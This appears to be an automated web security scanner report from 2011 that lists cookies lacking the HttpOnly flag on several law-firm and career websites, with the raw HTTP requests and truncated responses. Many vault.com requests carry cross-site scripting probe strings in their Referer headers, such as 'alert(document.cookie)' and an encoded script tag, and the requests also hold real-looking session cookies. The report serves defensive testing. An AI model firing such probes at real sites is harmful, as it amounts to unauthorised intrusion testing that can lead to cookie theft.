GET / HTTP/1.1 Host: www.jonesdayprobono.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.keen.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:57:19 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml",CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS UNI COM NAV INT STA" cache-control: private cache-control: private Content-Length: 65891 Content-Type: text/html Set-Cookie: ListDispVals=; path=/ Set-Cookie: REFRESH=1; expires=Thu, 19-Apr-2012 15:57:18 GMT; path=/ Set-Cookie: KEENUID=Level=root&ANNON=Y&UID=QjZFOTZCNzA0MjNCNDgxNzE0; expires=Sat, 16-Jan-2021 08:00:00 GMT; path=/ Cache-control: private
<!-- ASHWEB09 -->
<html> <head> <TITLE>Psychic Readings by Psychics at Keen.com</TITLE> <META NAME="DESCRIPTION" CONTENT="Psychics on Keen provide psychic readings, astrology, tarot reading ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /results.aspx?keyword=law+offices&CID=2531/x22 HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.matneylawfirm.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:52:23 GMT Set-Cookie: BX=0ffvtbl6je5m7&b=3&s=d5; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.matneylawfirm.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Host: p12w19.geo.re4.yahoo.com X-INKT-URI: http://www.matneylawfirm.com//index.htm X-INKT-SITE: http://www.matneylawfirm.com Last-Modified: Tue, 29 Dec 2009 20:05:56 GMT Accept-Ranges: bytes Content-Length: 33520 Content-Type: text/html Age: 0 Connection: close Server: YTS/1.17.13
The following cookie was issued by the application and does not have the HttpOnly flag set:
sid=1rt1k5i5slkq5ukdkkbbqu9lr5; expires=Thu, 20 Jan 2011 16:52:48 GMT; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.mwblegal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.1.6 Set-Cookie: sid=1rt1k5i5slkq5ukdkkbbqu9lr5; expires=Thu, 20 Jan 2011 16:52:48 GMT; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI COR NID ADMa DEVa PSAa PSDa STP NAV DEM STA PRE" Content-type: text/html Connection: close Date: Wed, 19 Jan 2011 16:52:48 GMT Server: lighttpd Content-Length: 775
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.naegele.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:53:02 GMT Set-Cookie: BX=32vpnop6je5ne&b=3&s=6u; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.naegele.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Host: p9w5.geo.re4.yahoo.com X-INKT-URI: http://www.naegele.com//index.html X-INKT-SITE: http://www.naegele.com Last-Modified: Wed, 25 Aug 2004 03:33:02 GMT Accept-Ranges: bytes Content-Length: 9139 Content-Type: text/html Age: 0 Connection: close Server: YTS/1.17.13
<HTML> <HEAD> <TITLE>Timothy D. Naegele & Associates: Banking Law and Internet Law</TITLE> <meta name="description" content="Banking law firm in Washington, D.C. and Los Angeles specializing in ba ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.procurement-lawyer.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.shsl.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 400 Bad Request Content-Type: text/html Date: Wed, 19 Jan 2011 16:54:16 GMT Connection: close Content-Length: 39 Set-Cookie: NSC_MC_QbvmXfjtt_IUUQ=ffffffff09d5f65f45525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2011insights.cfm?contentID=52 HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: BACKLINK=%2CcontentID%3D52;expires=Fri, 11-Jan-2041 15:14:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//E ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /alumni/Index.cfm?contentID=7 HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ALSITETOKEN=;expires=Tue, 19-Jan-2010 15:14:39 GMT;path=/ Set-Cookie: ALUSERTOKEN=;expires=Tue, 19-Jan-2010 15:14:39 GMT;path=/ Set-Cookie: BACKLINK=%2CcontentID%3D7;expires=Fri, 11-Jan-2041 15:14:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//Dtd Xhtml 1.0 Strict//EN" "http://w ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.cfm?contentID=42&itemID=1478 HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: BACKLINK=%2CcontentID%3D42%26itemID%3D1478;expires=Fri, 11-Jan-2041 15:14:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /com.vault.home.portlets/homeflash802010.xml HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/com.vault.home.portlets/homepage_flash.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
<?xml version="1.0" encoding="utf-8" standalone="no"?> <vaultxml> <bgcolor>FFFFFF</bgcolor> <headertext>What's the key to your career success?</headertext> <contentlist> <listentry> < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /com.vault.home.portlets/homepage_flash.swf HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /favicon.ico HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; JSESSIONID=00000-dJvfxGNM9UrnCQsyBDC18:140gkm3u6; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; _chartbeat2=1wcinl964s8aejot
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="X-UA-Compatible" con ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/arrow-right-middle.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/backgrounds/blue_gradient_reviews.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/backgrounds/footer_background.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/backgrounds/header-gray.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/blogs/photo-small-1260.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/dotted_separator.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/employer_section_header.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.1.10.1295451341; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/favicon.ico HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; _chartbeat2=1wcinl964s8aejot
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/header_background.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.1.10.1295451341; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/home/icon-resume.png HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/home/no_flash.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/homepageFlash/01newjob.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/com.vault.home.portlets/homepage_flash.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/homepageFlash/02reshelp.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/com.vault.home.portlets/homepage_flash.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; _chartbeat2=1wcinl964s8aejot
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/homepageFlash/04coreviews.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/com.vault.home.portlets/homepage_flash.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966; _chartbeat2=1wcinl964s8aejot; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/homepageFlash/06salary.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/com.vault.home.portlets/homepage_flash.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966; _chartbeat2=1wcinl964s8aejot; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/homepageFlash/07careerchange.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/com.vault.home.portlets/homepage_flash.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966; _chartbeat2=1wcinl964s8aejot; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/business-people.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
